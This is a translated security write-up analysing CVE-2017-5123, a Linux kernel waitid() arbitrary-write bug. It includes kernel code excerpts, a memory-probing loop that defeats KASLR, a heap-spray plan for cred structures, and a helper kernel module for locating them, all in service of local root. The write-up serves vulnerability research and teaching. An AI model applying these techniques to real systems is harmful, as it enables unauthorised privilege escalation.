Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用

$
0
0
【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用

2017-11-13 17:31:31

阅读:810次
点赞(0)
收藏
来源: reverse.put.as





【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用

作者:eridanus96





【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用

译者:eridanus96

预估稿费:180RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

CVE-2017-5123是一个针对于linux内核4.12-4.13版本,存在于waitid()系统调用中的本地提权漏洞。该漏洞原因在于:在waitid()系统调用中,由于没有检查用户态传入指针的有效性,而造成攻击者可以不受限制地将用户态写入任意内核地址的能力。

我在11月5日发布了漏洞利用的演示视频,网址为:

https://www.youtube.com/watch?v=DfwOJIcV5ZA

此外,Chris Salls在11月6日也独立发表了对该漏洞的分析和利用,大家可以阅读并比较:

https://salls.github.io/Linux-Kernel-CVE-2017-5123/

与Chris不同的是,我将会带来另一种漏洞利用方法。并且我会将分析的重点放在如何利用这个漏洞,在不进行读取操作的前提下获得root权限。

这是一个让我非常感兴趣的漏洞,我也建议大家能进行更深入的思考。在Linux香草内核(Vanilla Kernel)的自我防护下,仅利用这个漏洞本身,我们都能实现什么操作?或者说,当存在一个或多个任意内核地址写入漏洞时,我们可以如何利用?

利用的是不是CVE-2017-5123这个漏洞并不重要,重要的是:我们如何通过原本存在的漏洞,来最大限度地提升权限。这一类的漏洞十分强大,但很多人都没有对它足够地重视。


漏洞分析

以下是kernel/exit.c中的部分代码:

SYSCALL_DEFINE5(waitid,int,which,pid_t,upid,structsiginfo__user*, infop,int,options,structrusage__user*,ru) { structrusager; structwaitid_infoinfo={.status=0}; longerr=kernel_waitid(which,upid,&info,options,ru?&r:NULL); intsigno=0; if(err>0){ signo=SIGCHLD; err=0; if(ru&&copy_to_user(ru,&r,sizeof(structrusage))) return-EFAULT; } if(!infop) returnerr; user_access_begin(); unsafe_put_user(signo,&infop->si_signo,Efault); unsafe_put_user(0,&infop->si_errno,Efault); unsafe_put_user(info.cause,&infop->si_code,Efault); unsafe_put_user(info.pid,&infop->si_pid,Efault); unsafe_put_user(info.uid,&infop->si_uid,Efault); unsafe_put_user(info.status,&infop->si_status,Efault); user_access_end(); returnerr; Efault: user_access_end(); return-EFAULT; }

自从4.12版本引入unsafe_put_user()之后,在waitid()的系统调用中,缺少一个access_ok()检查,由此产生了这一漏洞。

其中的access_ok()用于确保用户指定的指针是指向用户空间,而不是内存空间,因为非特权用户不能随意写入内核内存。这是通过检查限定的地址来实现的。

我们接下来看看arch/x86/include/asm/uaccess.h中的内容:

#defineuser_addr_max()(current->thread.addr_limit.seg) ... /* *Testwhetherablockofmemoryisavaliduserspaceaddress. *Returns0iftherangeisvalid,nonzerootherwise. */ staticinlinebool__chk_range_not_ok(unsignedlongaddr, unsignedlongsize,unsignedlonglimit) { /* *Ifwehaveused"sizeof()"forthesize, *weknowitwon'toverflowthelimit(but *itmightoverflowthe'addr',soit's *importanttosubtractthesizefromthe *limit,notaddittotheaddress). */ if(__builtin_constant_p(size)) returnunlikely(addr>limit-size); /*Arbitrarysizes?Becarefulaboutoverflow*/ addr+=size; if(unlikely(addr<size)) returntrue; returnunlikely(addr>limit); } #define__range_not_ok(addr,size,limit)\ ({\ __chk_user_ptr(addr);\ __chk_range_not_ok((unsignedlong__force)(addr),size,limit);\ }) ... #defineaccess_ok(type,addr,size)\ ({\ WARN_ON_IN_IRQ();\ likely(!__range_not_ok(addr,size,user_addr_max()));\ })

这也就意味着,该漏洞允许无特权的用户,在调用waitid()时,使用infop指定一个内核地址。随后,内核将直接使用该地址,执行写入操作。而具体到写入的内容,我们很难去控制。

Chris的文章中写道:

“info.status是一个32位的int型变量,但被限定在0 < status < 256之间。尽管info.pid可以通过反复fork在一定程度上被控制,但它还是存在一个最大值,为0x8000。”

然而,我对最大值并不感兴趣,但是我发现,我们可以将0写入任意的内核内存中。

我此次的漏洞利用,与Chris最大的不同就在于——如果我们能够通过某种方式,找到cred的结构,我们就可以写入0,覆盖cred->euid和cred->uid,从而有效获得root权限。

以下是位于include/linux/cred.h中的cred结构定义:

structcred{ atomic_tusage; #ifdefCONFIG_DEBUG_CREDENTIALS atomic_tsubscribers;/*numberofprocessessubscribed*/ void*put_addr; unsignedmagic; #defineCRED_MAGIC0x43736564 #defineCRED_MAGIC_DEAD0x44656144 #endif kuid_tuid;/*realUIDofthetask*/ kgid_tgid;/*realGIDofthetask*/ kuid_tsuid;/*savedUIDofthetask*/ kgid_tsgid;/*savedGIDofthetask*/ kuid_teuid;/*effectiveUIDofthetask*/ kgid_tegid;/*effectiveGIDofthetask*/ kuid_tfsuid;/*UIDforVFSops*/ kgid_tfsgid;/*GIDforVFSops*/ unsignedsecurebits;/*SUID-lesssecuritymanagement*/ kernel_cap_tcap_inheritable;/*capsourchildrencaninherit*/ kernel_cap_tcap_permitted;/*capswe'repermitted*/ kernel_cap_tcap_effective;/*capswecanactuallyuse*/ kernel_cap_tcap_bset;/*capabilityboundingset*/ kernel_cap_tcap_ambient;/*Ambientcapabilityset*/ #ifdefCONFIG_KEYS unsignedcharjit_keyring;/*defaultkeyringtoattachrequested *keysto*/ structkey__rcu*session_keyring;/*keyringinheritedoverfork*/ structkey*process_keyring;/*keyringprivatetothisprocess*/ structkey*thread_keyring;/*keyringprivatetothisthread*/ structkey*request_key_auth;/*assumedrequest_keyauthority*/ #endif #ifdefCONFIG_SECURITY void*security;/*subjectiveLSMsecurity*/ #endif structuser_struct*user;/*realuserIDsubscription*/ structuser_namespace*user_ns;/*user_nsthecapsandkeyringsarerelativeto.*/ structgroup_info*group_info;/*supplementarygroupsforeuid/fsgid*/ structrcu_headrcu;/*RCUdeletionhook*/ };

在如何找到该结构这一点上,我们是完全盲目的。因此,我们需要一种方法来绕过内核地址空间布局随机化(KASLR),并找到内核堆。


通过内存探测绕过KASLR

通过使用诸如copy_from_user()、copy_to_user()等函数,我们可以确保当缺页(Page Fault)异常处理程序指定了错误的地址时,不会发生内核的OOPS。

这样的做法是有用的,因为当他们提供的地址不属于用户空间中的进程所在的地址空间时,非特权用户并不能引起一次DoS。

使用unsafe_put_user()时也会发生同样的情况,这就意味着,我们可以在内存堆可能位于的区间内,进行内存探测。

我是通过下述代码来实现的:

for(i=(char*)0xffff880000000000;;i+=0x10000000){ pid=fork(); if(pid>0) { if(syscall(__NR_waitid,P_PID,pid,(siginfo_t*)i,WEXITED,NULL)>=0) { printf("[+]Found%p\n",i); break; } } elseif(pid==0) exit(0); }

这里的关键之处在于:当我们尝试一个有效地址时,waited()不会返回EFAULT。所以,我们可以用这种方式进行内存探测。

既然现在我们已经知道了内存堆的位置,接下来要做的,就是要弄明白cred结构是如何生存的,因为内核堆的状态还是未知。


堆喷射

至此,我已经有了一个清晰的思路,具体如下:

如果我们创建了成百上千个进程,那么内核堆中也会随之创建成百上千个cred结构。

因此,我的思路是创建大量的进程,并通过不断调用geteuid(),在循环中检查其是否得到了为0的euid。

一旦geteuid()返回值为0,那么我们就大功告成,可以从那里写入到cred->euid - 0x10,也就是cred->uid。

通过堆喷射,我们可以不断增加命中目标的概率,尽管它并不能保证百分之百有效。这一部分,Chris也提出了相似的堆喷射思路。但对比两种方法,堆喷射显然更有助于我们的漏洞利用过程。

当产生了很多个cred结构后,我们观察其位置,发现在有些地址,cred会一直保留,即使是在重启之后。

如果你也想观察它们的位置,可以在不需要内核调试的地方进行观察,只需要使用这个内核模块,打印出cred->euid生存的位置。

#include<linux/module.h> #include<linux/init.h> #include<linux/kernel.h> #include<linux/sched.h> #include<linux/fs.h>//forbasicfilesystem #include<linux/proc_fs.h>//fortheprocfilesystem #include<linux/seq_file.h>//forsequencefiles staticstructproc_dir_entry*jif_file; staticint jif_show(structseq_file*m,void*v) { return0; } staticint jif_open(structinode*inode,structfile*file) { printk("EUID:%p\n",&current->cred->euid); returnsingle_open(file,jif_show,NULL); } staticconststructfile_operationsjif_fops={ .owner=THIS_MODULE, .open=jif_open, .read=seq_read, .llseek=seq_lseek, .release=single_release, }; staticint__init jif_init(void) { jif_file=proc_create("jif",0,NULL,&jif_fops); if(!jif_file){ return-ENOMEM; } return0; } staticvoid__exit jif_exit(void) { remove_proc_entry("jif",NULL); } module_init(jif_init); module_exit(jif_exit); MODULE_LICENSE("GPL");

通过fork和反复打开/proc/jif,我们可以在之后使用dmesg来查看printk()的输出。

#dmesg|grepEUID\: [16485.192353]EUID:ffff88015e909a14 [16485.192415]EUID:ffff88015e9097d4 [16485.192475]EUID:ffff88015e909954 [16485.192537]EUID:ffff880126c627d4 [16485.192599]EUID:ffff88015e9094d4 [16485.192660]EUID:ffff88015e909414 [16485.192725]EUID:ffff88015e909294 [16485.192790]EUID:ffff88015e909054 [16485.192860]EUID:ffff8801358efdd4 [16485.192925]EUID:ffff8801358efd14 [16485.192991]EUID:ffff8801358efe94 [16485.193057]EUID:ffff88015e909354 [16485.193124]EUID:ffff88015e9091d4 [16485.193187]EUID:ffff8801358eff54 [16485.193249]EUID:ffff8801358efb94 [16485.193314]EUID:ffff8801358efa14 [16485.193381]EUID:ffff88015e909114 [16485.193449]EUID:ffff8801358ef894 [16485.193515]EUID:ffff8801358ef714 [16485.234054]EUID:ffff880125766d14 [16485.234150]EUID:ffff8801256e9954 [16485.234189]EUID:ffff8801256e9654 [16485.429875]EUID:ffff8801257661d4 [16485.429881]EUID:ffff8801256e9e94 [16485.603481]EUID:ffff8801358ef954 [16485.603543]EUID:ffff8801256e9b94 [16485.603582]EUID:ffff880126c62e94 [16485.603620]EUID:ffff8801358ef7d4 [16485.603658]EUID:ffff880126c62a14 [16485.603701]EUID:ffff880125766654 [16485.603743]EUID:ffff8801358ef654 [16485.603782]EUID:ffff8801257667d4 [16485.603824]EUID:ffff880125766a14 [16485.603864]EUID:ffff880125766b94 [16485.603906]EUID:ffff8801256e94d4 [16485.603943]EUID:ffff8801256e91d4 [16485.603979]EUID:ffff880126c62d14 [16485.604017]EUID:ffff88015e909654 [...]

这样,我们就可以猜测其所在位置,并进行尝试。

至此,我们就知道了在“堆基址+一定的偏移量”的位置,命中目标的概率会比其他地方要高出很多。

所以,我们可以开始写入这些位置,然后增加PAGESIZE,借此希望能够改写其中某一个进程的凭据。如果能成功改写,我们也就成功实现了对该漏洞的利用。

特别一提的是,我之前还写过另外一篇文章,是通过覆盖selinux_enforcing和selinux_enabled来实现对SELinux的禁用,有兴趣的读者可以阅读:

http://www.openwall.com/lists/oss-security/2017/10/25/2


漏洞利用

如果你已经仔细阅读了上面的全部内容,我相信你现在一定可以尝试着利用这个漏洞,并没有想象的那么复杂。

如大家所见,我更有针对性地讲解了如何去利用这种原始的技术实现漏洞利用,而不仅仅针对这个CVE-2017-5123提供指导。当然了,我们这次是一箭双雕。


结论

通过对该漏洞的分析,我们意识到,这种类型的漏洞确实具有很大的威胁性。除此之外,我们也应该思考并尝试着用不同的方法实现Linux内核漏洞的利用。

最后,感谢André Baptista @0xACB以及所有xSTF。重点要感谢@osxreverser让我在这里发布自己的Write-up。



【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用
【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/

Viewing all articles
Browse latest Browse all 12749

Trending Articles